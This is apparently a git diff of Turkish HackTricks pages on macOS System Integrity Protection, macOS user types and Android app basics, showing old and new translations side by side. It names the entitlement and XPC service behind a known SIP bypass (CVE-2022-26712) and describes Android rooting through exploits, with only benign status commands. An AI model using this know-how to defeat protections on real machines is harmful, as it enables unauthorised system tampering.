Yetki **`com.apple.rootless.install`** SIP'yi atlamaya izin verir Yetki **`com.apple.rootless.install`** SIP'yi atlatmaya izin verir.
{% endhint %} {% endhint %}
Yetki `com.apple.rootless.install`, macOS'ta Sistem Bütünlüğü Koruması (SIP) atlamak için bilinir. Bu, özellikle [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) ile ilgili olarak belirtilmiştir. Yetki `com.apple.rootless.install`, macOS'ta Sistem Bütünlüğü Koruması (SIP) atlatmak için bilinir. Bu, özellikle [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) ile ilgili olarak belirtilmiştir.
Bu özel durumda, `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` konumundaki sistem XPC servisi bu yetkiye sahiptir. Bu, ilgili sürecin SIP kısıtlamalarını aşmasına olanak tanır. Ayrıca, bu hizmet, dosyaların herhangi bir güvenlik önlemi uygulanmadan taşınmasına izin veren bir yöntem sunar. Bu özel durumda, `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` konumundaki sistem XPC servisi bu yetkiye sahiptir. Bu, ilgili sürecin SIP kısıtlamalarını aşmasına olanak tanır. Ayrıca, bu hizmet, dosyaların herhangi bir güvenlik önlemi uygulanmadan taşınmasına izin veren bir yöntem sunar.
## Mühürlü Sistem Anlık Görüntüleri ## Mühürlü Sistem Anlık Görüntüleri
Mühürlü Sistem Anlık Görüntüleri, Apple tarafından **macOS Big Sur (macOS 11)** ile tanıtılan bir özelliktir ve **Sistem Bütünlüğü Koruması (SIP)** mekanizmasının bir parçası olarak ek bir güvenlik ve sistem istikrarı katmanı sağlar. Temelde sistem hacminin salt okunur sürümleridir. Mühürlü Sistem Anlık Görüntüleri, Apple tarafından **macOS Big Sur (macOS 11)** ile tanıtılan bir özelliktir ve **Sistem Bütünlüğü Koruması (SIP)** mekanizmasının bir parçası olarak ek bir güvenlik ve sistem istikrarı katmanı sağlar. Temelde, sistem hacminin salt okunur sürümleridir.
Daha ayrıntılı bir bakış: Daha ayrıntılı bir bakış:
1. **Değiştirilemez Sistem**: Mühürlü Sistem Anlık Görüntüleri, macOS sistem hacmini "değiştirilemez" hale getirir, yani değiştirilemez. Bu, güvenliği veya sistem istikrarını tehlikeye atabilecek yetkisiz veya kazara değişiklikleri önler. 1. **Değiştirilemez Sistem**: Mühürlü Sistem Anlık Görüntüleri, macOS sistem hacmini "değiştirilemez" hale getirir, yani değiştirilemez. Bu, güvenliği veya sistem istikrarını tehlikeye atabilecek yetkisiz veya kazara değişiklikleri önler.
2. **Sistem Yazılımı Güncellemeleri**: macOS güncellemeleri veya yükseltmeleri yüklediğinizde, macOS yeni bir sistem anlık görüntüsü oluşturur. macOS başlangıç hacmi, bu yeni anlık görüntüye geçmek için **APFS (Apple Dosya Sistemi)** kullanır. Güncellemeleri uygulama süreci daha güvenli ve daha güvenilir hale gelir, çünkü sistem güncelleme sırasında bir şeyler ters giderse her zaman önceki anlık görüntüye geri dönebilir. 2. **Sistem Yazılımı Güncellemeleri**: macOS güncellemeleri veya yükseltmeleri yüklediğinizde, macOS yeni bir sistem anlık görüntüsü oluşturur. macOS başlangıç hacmi, bu yeni anlık görüntüye geçmek için **APFS (Apple Dosya Sistemi)** kullanır. Güncellemeleri uygulama süreci, sistemin güncelleme sırasında bir şeyler ters giderse her zaman önceki anlık görüntüye geri dönebilmesi nedeniyle daha güvenli ve daha güvenilir hale gelir.
3. **Veri Ayrımı**: macOS Catalina'da tanıtılan Veri ve Sistem hacmi ayrımı kavramıyla birlikte, Mühürlü Sistem Anlık Görüntüsü özelliği, tüm verilerinizin ve ayarlarınızın ayrı bir "**Veri**" hacminde saklandığından emin olur. Bu ayrım, verilerinizi sistemden bağımsız hale getirir, bu da sistem güncellemeleri sürecini basitleştirir ve sistem güvenliğini artırır. 3. **Veri Ayrımı**: macOS Catalina'da tanıtılan Veri ve Sistem hacmi ayrımı kavramıyla birlikte, Mühürlü Sistem Anlık Görüntüsü özelliği, tüm verilerinizin ve ayarlarınızın ayrı bir "**Veri**" hacminde saklandığından emin olur. Bu ayrım, verilerinizi sistemden bağımsız hale getirir, bu da sistem güncellemeleri sürecini basitleştirir ve sistem güvenliğini artırır.
Bu anlık görüntülerin macOS tarafından otomatik olarak yönetildiğini ve APFS'nin alan paylaşım yetenekleri sayesinde diskinizde ek alan kaplamadığını unutmayın. Ayrıca, bu anlık görüntülerin, tüm sistemin kullanıcı erişimine açık yedekleri olan **Time Machine anlık görüntülerinden** farklı olduğunu belirtmek önemlidir. Bu anlık görüntülerin macOS tarafından otomatik olarak yönetildiğini ve APFS'nin alan paylaşım yetenekleri sayesinde diskinizde ek alan kaplamadığını unutmayın. Ayrıca, bu anlık görüntülerin, tüm sistemin kullanıcı erişimine açık yedekleri olan **Time Machine anlık görüntülerinden** farklı olduğunu belirtmek önemlidir.
@ -254,39 +241,28 @@ Bu anlık görüntülerin macOS tarafından otomatik olarak yönetildiğini ve A
Önceki çıktıda, **kullanıcı erişimine açık konumların** `/System/Volumes/Data` altında monte edildiğini görebilirsiniz. Önceki çıktıda, **kullanıcı erişimine açık konumların** `/System/Volumes/Data` altında monte edildiğini görebilirsiniz.
Ayrıca, **macOS Sistem hacmi anlık görüntüsü** `/` altında monte edilmiştir ve **mühürlüdür** (OS tarafından kriptografik olarak imzalanmıştır). Bu nedenle, SIP atlanır ve değiştirilirse, **OS artık başlatılamaz**. Ayrıca, **macOS Sistem hacmi anlık görüntüsü** `/` altında monte edilmiştir ve **mühürlüdür** (OS tarafından kriptografik olarak imzalanmıştır). Bu nedenle, SIP atlatılır ve değiştirilirse, **OS artık başlatılamaz**.
Ayrıca, mühürlemenin etkin olduğunu **doğrulamak** için şu komutu çalıştırmak mümkündür: Mühürlemenin etkin olduğunu **doğrulamak** için de çalıştırmak mümkündür:
```bash ```bash
csrutil authenticated-root status csrutil authenticated-root status
Authenticated Root status: enabled Authenticated Root status: enabled
``` ```
Ayrıca, anlık görüntü diski de **salt okunur** olarak bağlanır: Ayrıca, anlık görüntü diski de **salt okunur** olarak monte edilmiştir:
```bash ```bash
mount mount
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
``` ```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunan bir **dark-web** destekli arama motorudur.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %} {% hint style="success" %}
AWS Hacking Öğrenin ve Pratik Yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking Öğrenin ve Pratik Yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,71 +1,56 @@
# macOS Kullanıcıları # macOS Kullanıcıları
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io), şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **kompromize edilip edilmediğini** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
### Ortak Kullanıcılar ### Ortak Kullanıcılar
* **Daemon**: Sistem daemonları için ayrılmış kullanıcı. Varsayılan daemon hesap adları genellikle "\_" ile başlar: * **Daemon**: Sistem daemonları için ayrılmış kullanıcı. Varsayılan daemon hesap adları genellikle bir "\_" ile başlar:
```bash ```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
``` ```
* **Guest**: Çok sıkı izinlere sahip misafir hesabı * **Misafir**: Çok sıkı izinlere sahip misafirler için hesap
{% code overflow="wrap" %}
```bash ```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done; for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
``` ```
{% endcode %} {% endcode %}
* **Kimse**: İzinlerin minimum gerektiği durumlarda bu kullanıcı ile işlemler gerçekleştirilir * **Hiç kimse**: Minimum izinler gerektiğinde bu kullanıcı ile işlemler gerçekleştirilir.
* **Root** * **Root**
### Kullanıcı İzinleri ### Kullanıcı Yetkileri
* **Standart Kullanıcı:** En temel kullanıcı. Bu kullanıcı, yazılım yüklemeye veya diğer gelişmiş görevleri gerçekleştirmeye çalıştığında bir yönetici kullanıcıdan verilen izinlere ihtiyaç duyar. Kendi başlarına bunları yapamazlar. * **Standart Kullanıcı:** En temel kullanıcıdır. Bu kullanıcı, yazılım yüklemeye veya diğer gelişmiş görevleri gerçekleştirmeye çalışırken bir yönetici kullanıcısından izin alması gerekir. Kendi başına bunu yapamaz.
* **Yönetici Kullanıcı**: Genellikle standart bir kullanıcı olarak çalışan ancak yazılım yüklemek ve diğer yönetici görevlerini gerçekleştirmeye izin verilen bir kullanıcı. Yönetici grubuna ait tüm kullanıcılara **sudoers dosyası aracılığıyla root erişimi verilir**. * **Yönetici Kullanıcı**: Çoğu zaman standart kullanıcı olarak çalışan, ancak yazılım yüklemek ve diğer idari görevleri gerçekleştirmek gibi root işlemleri yapmasına da izin verilen bir kullanıcıdır. Yönetici grubuna ait tüm kullanıcılara **sudoers dosyası aracılığıyla root erişimi verilir**.
* **Root**: Root, neredeyse herhangi bir işlemi gerçekleştirmesine izin verilen bir kullanıcıdır (Sistem Bütünlük Koruması gibi korumalar tarafından belirli kısıtlamalar getirilmiştir). * **Root**: Neredeyse her türlü işlemi gerçekleştirmesine izin verilen bir kullanıcıdır (Sistem Bütünlüğü Koruması gibi korumalar tarafından sınırlamalar vardır).
* Örneğin root, `/System` dizini içine bir dosya yerleştiremeyecektir. * Örneğin, root `/System` dizinine bir dosya yerleştiremez.
{% hint style="success" %} {% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>Support HackTricks</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,33 +1,25 @@
# Android Uygulamaları Temelleri # Android Uygulamaları Temelleri
{% hint style="success" %} {% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Android Güvenlik Modeli ## Android Güvenlik Modeli
**İki katman vardır:** **İki katman vardır:**
* **OS**, yüklü uygulamaları birbirinden izole tutar. * **OS**, kurulu uygulamaları birbirinden izole tutar.
* **uygulamanın kendisi**, geliştiricilerin **belirli işlevleri açığa çıkarmasına** ve uygulama yeteneklerini yapılandırmasına olanak tanır. * **uygulamanın kendisi**, geliştiricilerin **belirli işlevleri açığa çıkarmasına** ve uygulama yeteneklerini yapılandırmasına olanak tanır.
### UID Ayrımı ### UID Ayrımı
@ -41,7 +33,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### Sandbox ### Sandbox
**Android Uygulama Sandbox'ı**, **her uygulamanın** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalıştırılmasına olanak tanır**. Her işlemin kendi sanal makinesi vardır, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\ **Android Uygulama Sandbox'ı**, **her uygulamanın** **ayrı bir kullanıcı kimliği altında ayrı bir işlem olarak çalışmasına** olanak tanır. Her işlem kendi sanal makinesine sahiptir, bu nedenle bir uygulamanın kodu diğer uygulamalardan izole bir şekilde çalışır.\
Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimleri yalnızca izin vermek için politikalar oluşturdu**. Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm işlem etkileşimlerini reddetti ve ardından **aralarındaki beklenen etkileşimleri yalnızca izin vermek için politikalar oluşturdu**.
### İzinler ### İzinler
@ -49,7 +41,7 @@ Android 5.0(L) itibarıyla **SELinux** uygulanmaktadır. Temelde, SELinux tüm i
Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\ Bir **uygulama yüklediğinizde ve izinler istediğinde**, uygulama **AndroidManifest.xml** dosyasındaki **`uses-permission`** öğelerinde yapılandırılan izinleri istemektedir. **uses-permission** öğesi, istenen iznin adını **name** **özniteliği içinde belirtir.** Ayrıca, belirtilen sürümden daha yüksek sürümlerde izin istemeyi durduran **maxSdkVersion** özniteliğine de sahiptir.\
Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** unutmayın, ancak tüm izinler **manifestoda** **belirtilmelidir.** Android uygulamalarının başlangıçta tüm izinleri istemesi gerekmediğini, dinamik olarak da **izin isteyebileceğini** unutmayın, ancak tüm izinler **manifestoda** **belirtilmelidir.**
Bir uygulama işlevselliğiığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\ Bir uygulama işlevsellikığa çıkardığında, **yalnızca belirli bir izne sahip uygulamalara erişimi sınırlayabilir**.\
Bir izin öğesinin üç özniteliği vardır: Bir izin öğesinin üç özniteliği vardır:
* İznin **adı** * İznin **adı**
@ -70,7 +62,7 @@ Bu uygulamalar genellikle **`/system/app`** veya **`/system/priv-app`** dizinler
## Rootlama ## Rootlama
Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını kullanarak** **istismar** etmeniz gerekir; bu genellikle **cihaz** ve **sürüm** için **özgü** olur.\ Bir fiziksel android cihazda root erişimi elde etmek için genellikle **1 veya 2 güvenlik açığını** **istismar etmeniz** gerekir; bu genellikle **cihaz** ve **sürüm** için **özgüdür**.\
İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`. İstismar çalıştığında, genellikle Linux `su` ikili dosyası, kullanıcının PATH ortam değişkeninde belirtilen bir konuma kopyalanır, örneğin `/system/xbin`.
Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak ve **root erişim taleplerini işlemek için** başka bir Android uygulaması kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur). Su ikili dosyası yapılandırıldıktan sonra, `su` ikili dosyası ile etkileşimde bulunmak ve **root erişim taleplerini işlemek için** başka bir Android uygulaması kullanılır, örneğin **Superuser** ve **SuperSU** (Google Play mağazasında mevcuttur).
@ -84,7 +76,7 @@ Rootlama işleminin çok tehlikeli olduğunu ve cihazı ciddi şekilde zarar ver
**Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\ **Özel bir yazılım yükleyerek işletim sistemini değiştirmek mümkündür**. Bunu yaparak, eski bir cihazın kullanımını uzatmak, yazılım kısıtlamalarını aşmak veya en son Android koduna erişmek mümkündür.\
**OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir. **OmniROM** ve **LineageOS**, kullanılacak en popüler yazılımlardan ikisidir.
**Cihazı rootlamanın her zaman gerekli olmadığını** unutmayın; **bazı üreticiler**, bootloader'larını iyi belgelenmiş ve güvenli bir şekilde kilidini açmaya izin verir. **Cihazı rootlamanın her zaman gerekli olmadığını** unutmayın; **bazı üreticiler**, bootloader'larının iyi belgelenmiş ve güvenli bir şekilde kilidini açılmasına izin verir.
### Sonuçlar ### Sonuçlar
@ -96,7 +88,7 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim talep ede
- APK İçerikleri (kapsamlı değil) - APK İçerikleri (kapsamlı değil)
- **AndroidManifest.xml** - **AndroidManifest.xml**
- resources.arsc/strings.xml - resources.arsc/strings.xml
- resources.arsc: önceden derlenmiş kaynakları içerir, örneğin ikili XML. - resources.arsc: ikili XML gibi önceden derlenmiş kaynakları içerir.
- res/xml/files\_paths.xml - res/xml/files\_paths.xml
- META-INF/ - META-INF/
- Sertifikanın bulunduğu yer burasıdır! - Sertifikanın bulunduğu yer burasıdır!
@ -109,19 +101,19 @@ Bir cihaz rootlandığında, herhangi bir uygulama root olarak erişim talep ede
- `x86`: X86 işlemciler için kod - `x86`: X86 işlemciler için kod
- `mips`: yalnızca MIPS işlemcileri için kod - `mips`: yalnızca MIPS işlemcileri için kod
- assets/ - assets/
- Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar, potansiyel olarak ek yerel kütüphaneler veya DEX dosyaları içerebilir, bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır. - Uygulamanın ihtiyaç duyduğu çeşitli dosyaları depolar, potansiyel olarak ek yerel kütüphaneler veya DEX dosyaları içerebilir; bazen kötü amaçlı yazılım yazarları tarafından ek kodu gizlemek için kullanılır.
- res/ - res/
- resources.arsc içine derlenmemiş kaynakları içerir. - resources.arsc içine derlenmemiş kaynakları içerir.
### **Dalvik & Smali** ### **Dalvik & Smali**
